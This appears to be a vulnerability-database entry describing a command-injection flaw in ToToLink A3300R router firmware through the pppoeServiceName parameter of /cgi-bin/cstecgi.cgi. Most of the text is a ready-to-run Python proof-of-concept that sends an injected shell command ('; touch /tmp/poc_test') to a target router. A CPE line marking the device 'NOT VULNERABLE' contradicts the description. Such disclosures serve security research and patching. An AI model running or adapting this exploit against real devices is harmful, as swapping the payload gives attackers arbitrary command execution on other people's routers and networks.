An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the pppoeServiceName parameter to /cgi-bin/cstecgi.cgi.
cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:* - NOT VULNERABLE
ToToLink A3300R v17.0.0cu.557_B20221024
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL of the vulnerable device
target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi"
# Malicious payload to inject commands
# Example: Creating a file to verify command execution
payload = "; touch /tmp/poc_test"
# Headers usually required for the request
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
}
# Data payload structure based on the vulnerability description
# The vulnerability is in the 'pppoeServiceName' parameter
data = {
"topicurl": "PPPoe",
"pppoeServiceName": payload
}
try:
# Sending the malicious POST request
response = requests.post(target_url, json=data, headers=headers, timeout=5)
# Output the results
if response.status_code == 200:
print("[+] Payload sent successfully.")
print(f"[+] Response: {response.text}")
else:
print(f"[-] Unexpected status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")